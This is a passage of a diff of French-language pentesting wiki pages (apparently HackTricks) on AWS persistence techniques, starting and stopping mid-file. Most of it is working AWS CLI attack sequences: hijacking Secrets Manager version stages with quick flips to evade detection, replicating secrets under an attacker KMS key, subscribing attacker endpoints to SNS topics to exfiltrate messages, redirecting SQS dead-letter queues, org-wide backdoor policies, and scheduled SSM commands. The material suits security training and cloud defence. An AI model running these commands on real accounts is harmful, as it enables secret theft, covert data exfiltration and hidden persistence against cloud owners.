return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
|
||||
except Exception as e:
|
||||
return {'error': str(e)}
|
||||
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
|
||||
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
|
||||
key = f"{sid.replace(':','_')}/{step}/{token}.json"
|
||||
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking pour persistance discrète (stage personnalisé + basculement rapide AWSCURRENT)
|
||||
|
||||
Exploitez les labels de staging de version de Secrets Manager pour implanter une version de secret contrôlée par l'attaquant et la garder cachée sous un stage personnalisé (par exemple, `ATTACKER`) tandis que la production continue d'utiliser l'`AWSCURRENT`. À tout moment, déplacez `AWSCURRENT` vers la version de l'attaquant pour empoisonner les workloads dépendants, puis restaurez-le pour minimiser la détection. Cela fournit une persistance backdoor discrète et une manipulation rapide au moment de l'utilisation sans changer le nom du secret ni la configuration de rotation.
|
||||
|
||||
- Exigences
|
||||
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (pour vérification)
|
||||
- ID du secret cible dans la région.
|
||||
|
||||
- Impact
|
||||
- Maintenir une version cachée et contrôlée par l'attaquant d'un secret et basculer atomiquement l'`AWSCURRENT` vers celle-ci à la demande, influençant tout consommateur résolvant le même nom de secret. Le basculement et la restauration rapide réduisent les chances de détection tout en permettant un compromis au moment de l'utilisation.
|
||||
|
||||
- Étapes de l'attaque (CLI)
|
||||
- Préparation
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
<details>
|
||||
<summary>Commandes CLI</summary>
|
||||
```bash
|
||||
# 1) Capture current production version id (the one holding AWSCURRENT)
|
||||
CUR=$(aws secretsmanager list-secret-version-ids \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
|
||||
--output text)
|
||||
|
||||
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
|
||||
BACKTOK=$(uuidgen)
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--client-request-token "$BACKTOK" \
|
||||
--secret-string {backdoor:hunter2!}
|
||||
|
||||
# 3) Restore production and hide attacker version under custom stage
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage ATTACKER \
|
||||
--move-to-version-id "$BACKTOK"
|
||||
|
||||
# Verify stages
|
||||
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
|
||||
|
||||
# 4) On-demand flip to the attacker’s value and revert quickly
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$BACKTOK" \
|
||||
--remove-from-version-id "$CUR"
|
||||
|
||||
# Validate served plaintext now equals the attacker payload
|
||||
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
|
||||
|
||||
# Revert to reduce detection
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
```
|
||||
</details>
|
||||
|
||||
- Remarques
|
||||
- Lorsque vous fournissez `--client-request-token`, Secrets Manager l'utilise comme `VersionId`. L'ajout d'une nouvelle version sans définir explicitement `--version-stages` déplace `AWSCURRENT` vers la nouvelle version par défaut et marque la précédente comme `AWSPREVIOUS`.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Abuser de la réplication multi-Region de Secrets Manager pour créer une réplique d'un secret cible dans une Region moins surveillée, la chiffrer avec une clé KMS contrôlée par l'attaquant dans cette Region, puis promouvoir la réplique en tant que secret autonome et lui attacher une resource policy permissive accordant à l'attaquant l'accès en lecture. Le secret original dans la Region primaire reste inchangé, offrant un accès durable et discret à la valeur du secret via la réplique promue tout en contournant les contraintes KMS/policy sur le primaire.
|
||||
|
||||
- Prérequis
|
||||
- Autorisations : `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- Dans la replica Region : `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ou `kms:PutKeyPolicy`) pour permettre au principal attaquant `kms:Decrypt`.
|
||||
- Un principal attaquant (utilisateur/rôle) devant recevoir l'accès en lecture au secret promu.
|
||||
|
||||
- Impact
|
||||
- Chemin d'accès persistant cross-Region à la valeur du secret via une réplique autonome sous une CMK KMS contrôlée par l'attaquant et une resource policy permissive. Le secret primaire dans la Region d'origine reste intact.
|
||||
|
||||
- Attaque (CLI)
|
||||
- Vars
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) Créer une KMS key contrôlée par l'attaquant dans la région répliquée
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
|
||||
]}
|
||||
JSON
|
||||
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
|
||||
--query KeyMetadata.KeyId --output text)
|
||||
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) Répliquer le secret vers R2 en utilisant la clé KMS de l'attaquant
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) Promouvoir la réplique en instance autonome dans R2
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) Attacher une politique de ressources permissive sur le secret autonome dans R2
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) Lire le secret depuis l'attacker principal dans R2
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
# AWS - SNS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
Lors de la création d'un **SNS topic**, vous devez indiquer avec une politique IAM **qui a accès à lire et écrire**. Il est possible d'indiquer des comptes externes, l'ARN de rôles, ou **même "\*"**.\
|
||||
La politique suivante donne à tout le monde dans AWS l'accès pour lire et écrire dans le SNS topic appelé **`MySNS.fifo`** :
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Créer des abonnés
|
||||
|
||||
Pour continuer à exfiltrer tous les messages de tous les sujets, l'attaquant pourrait **créer des abonnés pour tous les sujets**.
|
||||
|
||||
Notez que si le **sujet est de type FIFO**, seuls les abonnés utilisant le protocole **SQS** peuvent être utilisés.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,113 @@
|
||||
# AWS - SNS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
Lors de la création d'un **SNS topic** vous devez indiquer avec une IAM policy **qui a accès en lecture et en écriture**. Il est possible d'indiquer des comptes externes, ARN of roles, ou **même "\*"**.\
|
||||
La policy suivante donne à tout le monde dans AWS l'accès en lecture et en écriture au SNS topic appelé **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Créer des abonnés
|
||||
|
||||
Pour continuer à exfiltrer tous les messages de tous les topics, un attaquant pourrait **créer des abonnés pour tous les topics**.
|
||||
|
||||
Notez que si le **topic est de type FIFO**, seuls les abonnés utilisant le protocole **SQS** peuvent être utilisés.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
### Exfiltration covert et sélective via FilterPolicy on MessageBody
|
||||
|
||||
Un attaquant disposant de `sns:Subscribe` et `sns:SetSubscriptionAttributes` sur un topic peut créer une subscription SQS furtive qui ne transmet que les messages dont le corps JSON correspond à un filtre très restreint (par exemple, `{"secret":"true"}`). Cela réduit le volume et la détection tout en exfiltrant des enregistrements sensibles.
|
||||
|
||||
**Impact potentiel** : Exfiltration covert et peu bruyante uniquement des messages SNS ciblés depuis un topic victime.
|
||||
|
||||
Étapes (AWS CLI) :
|
||||
- Vérifier que la policy de la queue SQS de l'attaquant autorise `sqs:SendMessage` depuis le `TopicArn` de la victime (Condition `aws:SourceArn` égale au `TopicArn`).
|
||||
- Créer la subscription SQS au topic :
|
||||
|
||||
```bash
|
||||
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
|
||||
```
|
||||
|
||||
- Configurer le filtre pour opérer sur le message body et ne faire correspondre que `secret=true` :
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
|
||||
```
|
||||
|
||||
- Option stealth : activer le raw delivery pour que seul le payload brut arrive chez le destinataire :
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
|
||||
```
|
||||
|
||||
- Validation : publier deux messages et confirmer que seul le premier est livré à la queue de l'attaquant. Payloads exemples :
|
||||
|
||||
```json
|
||||
{"secret":"true","data":"exfil"}
|
||||
{"secret":"false","data":"benign"}
|
||||
```
|
||||
|
||||
- Nettoyage : unsubscribe et supprimer la queue SQS de l'attaquant si elle a été créée pour les tests de persistence.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - SQS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Utilisation de la politique de ressources
|
||||
|
||||
Dans SQS, vous devez indiquer avec une politique IAM **qui a accès à lire et écrire**. Il est possible d'indiquer des comptes externes, l'ARN de rôles, ou **même "\*"**.\
|
||||
La politique suivante donne à tout le monde dans AWS accès à tout dans la file d'attente appelée **MyTestQueue** :
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Vous pourriez même **déclencher une Lambda dans le compte de l'attaquant chaque fois qu'un nouveau message** est mis dans la file d'attente (vous devrez le remettre) d'une manière ou d'une autre. Pour cela, suivez ces instructions : [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - SQS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Using resource policy
|
||||
|
||||
Dans SQS vous devez indiquer avec une IAM policy **qui a accès en lecture et en écriture**. Il est possible d'indiquer des comptes externes, l'ARN de roles, ou **même "\*"**.\
|
||||
La policy suivante donne à tout le monde sur AWS l'accès à tout dans la queue appelée **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Vous pouvez même **déclencher une Lambda dans l'account de l'attacker chaque fois qu'un nouveau message** est mis dans la queue (vous devrez le re-put). Pour cela, suivez ces instructions : [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
### Autres techniques de persistance SQS
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-backdoor-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-orgid-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,71 @@
|
||||
# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuser les SQS Dead-Letter Queues (DLQs) pour siphonner discrètement des données d'une file d'attente source victime en pointant sa RedrivePolicy vers une file d'attente contrôlée par l'attaquant. Avec un maxReceiveCount faible et en provoquant ou en attendant des échecs de traitement normaux, les messages sont automatiquement détournés vers le DLQ de l'attaquant sans modifier les producteurs ni les Lambda event source mappings.
|
||||
|
||||
## Permissions abusées
|
||||
- sqs:SetQueueAttributes on the victim source queue (to set RedrivePolicy)
|
||||
- sqs:SetQueueAttributes on the attacker DLQ (to set RedriveAllowPolicy)
|
||||
- Optional for acceleration: sqs:ReceiveMessage on the source queue
|
||||
- Optional for setup: sqs:CreateQueue, sqs:SendMessage
|
||||
|
||||
## Flux dans le même compte (allowAll)
|
||||
|
||||
Préparation (compte attaquant ou principal compromis):
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create attacker DLQ
|
||||
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
|
||||
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Allow any same-account source queue to use this DLQ
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
|
||||
```
|
||||
Exécution (exécuter en tant que principal compromis dans le compte victime) :
|
||||
```bash
|
||||
# 3) Point victim source queue to attacker DLQ with low retries
|
||||
VICTIM_SRC_URL=<victim source queue url>
|
||||
ATTACKER_DLQ_ARN=<attacker dlq arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
|
||||
```
|
||||
Accélération (optionnelle):
|
||||
```bash
|
||||
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
|
||||
for i in {1..2}; do \
|
||||
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --visibility-timeout 0; \
|
||||
done
|
||||
```
|
||||
Validation :
|
||||
```bash
|
||||
# 5) Confirm messages appear in attacker DLQ
|
||||
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
Exemple de preuve (les attributs incluent DeadLetterQueueSourceArn):
|
||||
```json
|
||||
{
|
||||
"MessageId": "...",
|
||||
"Body": "...",
|
||||
"Attributes": {
|
||||
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
|
||||
}
|
||||
}
|
||||
```
|
||||
## Variante inter-compte (byQueue)
|
||||
Définissez RedriveAllowPolicy sur le DLQ de l'attaquant pour n'autoriser que les ARNs des files d'attente source spécifiques de la victime:
|
||||
```bash
|
||||
VICTIM_SRC_ARN=<victim source queue arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
|
||||
```
|
||||
## Impact
|
||||
- Data exfiltration/persistence furtive et durable en détournant automatiquement les messages échoués d'une queue source SQS victime vers une DLQ contrôlée par l'attaquant, avec un bruit opérationnel minimal et sans modification des producers ni des Lambda mappings.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,38 @@
|
||||
# AWS - SQS OrgID Policy Backdoor
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Exploitez une resource policy d'une SQS queue pour accorder silencieusement Send, Receive et ChangeMessageVisibility à tout principal appartenant à une AWS Organization ciblée en utilisant la condition aws:PrincipalOrgID. Cela crée un chemin caché limité à l'organisation qui échappe souvent aux contrôles qui ne recherchent que des ARNs de comptes ou de rôles explicites ou des star principals.
|
||||
|
||||
### Backdoor policy (attach to the SQS queue policy)
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "OrgScopedBackdoor",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"sqs:ReceiveMessage",
|
||||
"sqs:SendMessage",
|
||||
"sqs:ChangeMessageVisibility",
|
||||
"sqs:GetQueueAttributes"
|
||||
],
|
||||
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
|
||||
"Condition": {
|
||||
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Étapes
|
||||
- Obtenir l'Organization ID via AWS Organizations API.
|
||||
- Récupérer l'ARN de la queue SQS et définir la queue policy incluant l'énoncé ci‑dessus.
|
||||
- Depuis n'importe quel principal appartenant à cette Organization, envoyer et recevoir un message dans la queue pour valider l'accès.
|
||||
|
||||
### Impact
|
||||
- Accès caché à l'échelle de l'Organization permettant de lire et écrire des messages SQS depuis n'importe quel compte de l'AWS Organization spécifié.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Utilisation de ssm:CreateAssociation pour la persistance
|
||||
|
||||
Un attaquant ayant la permission **`ssm:CreateAssociation`** peut créer une association de gestion d'état pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles réguliers, les rendant adaptées à une persistance de type backdoor sans sessions interactives.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, que l'agent SSM est en cours d'exécution et que l'attaquant a la permission de créer des associations. Elle ne nécessite pas de sessions interactives ni de permissions explicites ssm:SendCommand. **Important :** Le paramètre `--schedule-expression` (par exemple, `rate(30 minutes)`) doit respecter l'intervalle minimum de 30 minutes d'AWS. Pour une exécution immédiate ou unique, omettez complètement `--schedule-expression` — l'association s'exécutera une fois après sa création.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Utilisation de ssm:CreateAssociation pour persistence
|
||||
|
||||
Un attaquant disposant de l'autorisation **`ssm:CreateAssociation`** peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles fixes, ce qui les rend adaptées à la backdoor-like persistence sans sessions interactives.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, le SSM agent est en cours d'exécution, et que l'attaquant dispose de l'autorisation de créer des associations. Elle n'exige pas de sessions interactives ni de permissions explicites ssm:SendCommand. **Important :** le paramètre `--schedule-expression` (par ex., `rate(30 minutes)`) doit respecter l'intervalle minimum d'AWS de 30 minutes. Pour une exécution immédiate ou ponctuelle, omettez complètement `--schedule-expression` — l'association s'exécutera une fois après création.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - Persistance des Step Functions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Backdooring des Step Functions
|
||||
|
||||
Backdoor une step function pour qu'elle exécute n'importe quel truc de persistance, de sorte que chaque fois qu'elle est exécutée, elle exécutera vos étapes malveillantes.
|
||||
|
||||
### Backdooring des alias
|
||||
|
||||
Si le compte AWS utilise des alias pour appeler des step functions, il serait possible de modifier un alias pour utiliser une nouvelle version backdoorée de la step function.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - Step Functions Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
Backdoor a step function pour qu'elle exécute n'importe quel persistence trick : ainsi, à chaque exécution, elle lancera vos étapes malveillantes.
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
Si le compte AWS utilise des aliases pour appeler des step functions, il serait possible de modifier un alias pour qu'il utilise une nouvelle version backdoored du step function.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,36 +1,36 @@
|
||||
# AWS - STS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
